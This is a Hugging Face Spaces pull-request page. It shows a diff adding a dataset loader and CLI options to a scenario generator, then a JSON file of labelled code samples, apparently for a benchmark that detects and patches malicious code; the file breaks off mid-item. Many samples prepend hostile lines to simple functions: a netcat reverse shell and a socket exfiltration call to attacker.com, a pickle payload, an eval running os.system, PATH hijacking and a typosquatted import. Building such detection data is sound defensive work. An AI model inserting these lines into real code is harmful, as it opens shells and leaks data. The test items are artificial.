Spaces:
Sleeping
Sleeping
Merge pull request #1 from ramprasathk07/Dev-2
Browse filesFiles changed (2)
347 unmodified lines34834935035135235324 unmodified lines37837938038138238313 unmodified lines397398399400401402347 unmodified linesreturn sdk_scenarios# ============================================================# CLI entry point# ============================================================24 unmodified linesdefault=10,help="Number of SDK samples to generate",)args = parser.parse_args()benign_files = load_benign_files(args.benign_dir)13 unmodified linesif sdk:print(f"Added {len(sdk)} SDK-generated scenarios.")random.shuffle(scenarios)os.makedirs(os.path.dirname(args.output), exist_ok=True)with open(args.output, "w") as fh:347 unmodified lines34834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147224 unmodified lines49749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153213 unmodified lines546547548549550551552553554555556557558559560561562563564347 unmodified linesreturn sdk_scenarios# ============================================================# Track HF – Hugging Face dataset loader (optional)# ============================================================def generate_track_hf_scenarios(hf_dataset_id: str,split: str = "train",text_field: str = "code",num_samples: int = 0,only_python: bool = False,) -> list:"""Load snippets from a Hugging Face dataset and return scenario dicts.- `hf_dataset_id`: e.g. "username/repo" or a dataset id on the Hub- `text_field`: field name in dataset containing the code/snippet- `num_samples`: 0 => load entire split, otherwise limit"""hf_scenarios: list = []try:from datasets import load_datasetexcept Exception as e:print(f"⚠️ Install `datasets` (pip install datasets). Error: {e}")return hf_scenariostry:# If a local path is provided, prefer local loading:p = Path(hf_dataset_id)if p.exists():# Saved dataset directory created by `save_to_disk`if p.is_dir():try:from datasets import load_from_diskds = load_from_disk(str(p))except Exception:# Fall back to loading as files inside the dirds = load_dataset("json", data_files=str(p / "*.jsonl"))else:# Single file: jsonl / json / ndjson or plain textif p.suffix.lower() in (".jsonl", ".json", ".ndjson"):ds = load_dataset("json", data_files=str(p))else:# Treat as plain text file, one example per linewith open(p, "r", encoding="utf-8") as fh:lines = [l.rstrip("\n") for l in fh if l.strip()]# create a dataset from python listfrom datasets import Datasetds = Dataset.from_dict({"text": lines})else:ds = load_dataset(hf_dataset_id, split=split)except Exception as e:print(f"⚠️ Could not load HF dataset {hf_dataset_id}: {e}")return hf_scenarios# optionally limittry:total = len(ds)except Exception:total = Noneif num_samples and num_samples > 0 and total:num = min(num_samples, total)try:ds = ds.select(range(num))except Exception:pass# iterate over dataset rowsfor item in ds:code = Noneunit_test = "import code\nassert True"if isinstance(item, dict):# optional language filterif only_python:lang = (item.get("lang") or item.get("language") or "").lower()if lang and lang != "python":continue# prefer accepted/chosen field when present (e.g., 'chosen')for k in ("chosen", text_field, "code", "snippet", "text"):if k in item and item[k]:code = item[k]break# best-effort unit test / label / patch extractionunit_test = item.get("unit_test_code", unit_test)label = item.get("label") or item.get("classification") or "benign"patch = item.get("patch")attack_type = item.get("vulnerability") or item.get("attack_type")else:# plain examples (no fields)code = str(item)label = "benign"patch = Noneattack_type = Noneif not code:continuehf_scenarios.append({"id": f"hf_{uuid.uuid4().hex[:8]}","type": "true_positive" if patch or (isinstance(label, str) and label.lower() in ("malicious", "vuln", "vulnerable")) else "functional","code_snippet": code,"patch": patch,"unit_test_code": unit_test,"label": "malicious" if (patch or (isinstance(label, str) and label.lower() in ("malicious", "vuln", "vulnerable"))) else "benign","source": "huggingface_dataset","attack_type": attack_type,})return hf_scenarios# ============================================================# CLI entry point# ============================================================24 unmodified linesdefault=10,help="Number of SDK samples to generate",)parser.add_argument("--hf-dataset",type=str,default=None,help="HuggingFace dataset id (e.g., username/repo) to import snippets from",)parser.add_argument("--hf-split",type=str,default="train",help="Split name to load from the HF dataset",)parser.add_argument("--hf-field",type=str,default="code",help="Field name in HF dataset that contains the code/snippet",)parser.add_argument("--hf-samples",type=int,default=0,help="Number of HF samples to use (0 = all)",)parser.add_argument("--hf-only-python",action="store_true",default=False,help="If set, only include HF examples where language/lang == python",)args = parser.parse_args()benign_files = load_benign_files(args.benign_dir)13 unmodified linesif sdk:print(f"Added {len(sdk)} SDK-generated scenarios.")# Track HF (optional)if getattr(args, "hf_dataset", None):hf = generate_track_hf_scenarios(args.hf_dataset,args.hf_split,args.hf_field,args.hf_samples,args.hf_only_python,)scenarios.extend(hf)if hf:print(f"Added {len(hf)} HuggingFace scenarios.")random.shuffle(scenarios)os.makedirs(os.path.dirname(args.output), exist_ok=True)with open(args.output, "w") as fh:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604[{"id": "tp_d2da80af","type": "true_positive","code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1","patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "subprocess_backdoor","task_id": "hard_patch"},{"id": "fn_712c7a5a","type": "functional","code_snippet": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "fp_d446104c","type": "false_positive","code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "fn_a39e66b8","type": "functional","code_snippet": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True","patch": null,"unit_test_code": "import code\nassert code.is_prime(7) == True\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "tp_fa1a7494","type": "true_positive","code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def push(self, item):\n self.items.append(item)\n \n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0","patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def push(self, item):\n self.items.append(item)\n \n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "subprocess_backdoor","task_id": "hard_patch"},{"id": "tp_afaeeb81","type": "true_positive","code_snippet": "import pythonn\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node","patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "typosquatting","task_id": "easy_typosquat"},{"id": "tp_e15d0c01","type": "true_positive","code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed","patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "env_hijack","task_id": "hard_patch"},{"id": "fp_124bb8af","type": "false_positive","code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def enqueue(self, item):\n self.items.insert(0, item)\n \n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "tp_4d0f5baa","type": "true_positive","code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord('a') if char.islower() else ord('A')\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result","patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord('a') if char.islower() else ord('A')\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "pickle_deserialization","task_id": "medium_obfuscated"},{"id": "tp_62422a19","type": "true_positive","code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def push(self, item):\n self.items.append(item)\n \n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0","patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def push(self, item):\n self.items.append(item)\n \n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "eval_hidden","task_id": "medium_obfuscated"},{"id": "fn_0b8b8089","type": "functional","code_snippet": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True","patch": null,"unit_test_code": "import code\nassert code.is_prime(7) == True\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "tp_b24fefe2","type": "true_positive","code_snippet": "import pythonn\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9","patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9","unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n","label": "malicious","source": "mutation_engine","attack_type": "typosquatting","task_id": "easy_typosquat"},{"id": "fn_5ffe310b","type": "functional","code_snippet": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split('\\n')\n if not lines:\n return []\n headers = lines[0].split(',')\n result = []\n for line in lines[1:]:\n values = line.split(',')\n result.append(dict(zip(headers, values)))\n return result","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "tp_64769336","type": "true_positive","code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True","patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True","unit_test_code": "import code\nassert code.is_prime(7) == True\n","label": "malicious","source": "mutation_engine","attack_type": "eval_hidden","task_id": "medium_obfuscated"},{"id": "fn_de5e1b4f","type": "functional","code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def enqueue(self, item):\n self.items.insert(0, item)\n \n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "tp_722b9efe","type": "true_positive","code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"","patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "env_hijack","task_id": "hard_patch"},{"id": "tp_f8a418b3","type": "true_positive","code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())","patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "subprocess_backdoor","task_id": "hard_patch"},{"id": "tp_f11f8bcc","type": "true_positive","code_snippet": "import pythonn\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params","patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "typosquatting","task_id": "easy_typosquat"},{"id": "fp_ca0c1700","type": "false_positive","code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)","patch": null,"unit_test_code": "import code\nassert code.factorial(5) == 120\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "fn_437dfe4c","type": "functional","code_snippet": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)","patch": null,"unit_test_code": "import code\nassert code.factorial(5) == 120\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "fp_bf58ca12","type": "false_positive","code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "fp_a5025c7b","type": "false_positive","code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "fn_21f46d28","type": "functional","code_snippet": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split('\\n'):\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n if line.startswith('[') and line.endswith(']'):\n current_section = line[1:-1]\n config[current_section] = {}\n elif '=' in line and current_section:\n key, val = line.split('=', 1)\n config[current_section][key.strip()] = val.strip()\n return config","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "tp_a8ebb12f","type": "true_positive","code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed","patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "eval_hidden","task_id": "medium_obfuscated"},{"id": "fp_acadacf3","type": "false_positive","code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == '+':\n return a + b\n elif op == '-':\n return a - b\n elif op == '*':\n return a * b\n elif op == '/':\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "tp_ada1c69c","type": "true_positive","code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"","patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "subprocess_backdoor","task_id": "hard_patch"},{"id": "tp_cdb1c48c","type": "true_positive","code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split('\\n'):\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n if line.startswith('[') and line.endswith(']'):\n current_section = line[1:-1]\n config[current_section] = {}\n elif '=' in line and current_section:\n key, val = line.split('=', 1)\n config[current_section][key.strip()] = val.strip()\n return config","patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split('\\n'):\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n if line.startswith('[') and line.endswith(']'):\n current_section = line[1:-1]\n config[current_section] = {}\n elif '=' in line and current_section:\n key, val = line.split('=', 1)\n config[current_section][key.strip()] = val.strip()\n return config","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "env_hijack","task_id": "hard_patch"},{"id": "fn_77f631d9","type": "functional","code_snippet": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n-i-1):\n if arr[j] > arr[j+1]:\n arr[j], arr[j+1] = arr[j+1], arr[j]\n return arr","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "tp_be97a621","type": "true_positive","code_snippet": "import pythonn\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())","patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "typosquatting","task_id": "easy_typosquat"},{"id": "fn_e8b40344","type": "functional","code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def enqueue(self, item):\n self.items.insert(0, item)\n \n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "tp_d1c4b434","type": "true_positive","code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit","patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "eval_hidden","task_id": "medium_obfuscated"},{"id": "tp_3a6f9eaf","type": "true_positive","code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params","patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "env_hijack","task_id": "hard_patch"},{"id": "fn_2136eb73","type": "functional","code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a","patch": null,"unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "fp_bf4a2db9","type": "false_positive","code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "fp_2243ce32","type": "false_positive","code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [[mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))]","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "fp_cb65dba1","type": "false_positive","code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]","patch": null,"unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "fp_946cc12e","type": "false_positive","code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "tp_05e46997","type": "true_positive","code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9","patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9","unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n","label": "malicious","source": "mutation_engine","attack_type": "malicious_import","task_id": "easy_typosquat"},{"id": "tp_cc0fd9c8","type": "true_positive","code_snippet": "import pythonn\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)","patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)","unit_test_code": "import code\nassert code.factorial(5) == 120\n","label": "malicious","source": "mutation_engine","attack_type": "typosquatting","task_id": "easy_typosquat"},{"id": "fn_b39f320b","type": "functional","code_snippet": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9","patch": null,"unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "tp_45e0779b","type": "true_positive","code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split('\\n'):\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n if line.startswith('[') and line.endswith(']'):\n current_section = line[1:-1]\n config[current_section] = {}\n elif '=' in line and current_section:\n key, val = line.split('=', 1)\n config[current_section][key.strip()] = val.strip()\n return config","patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in 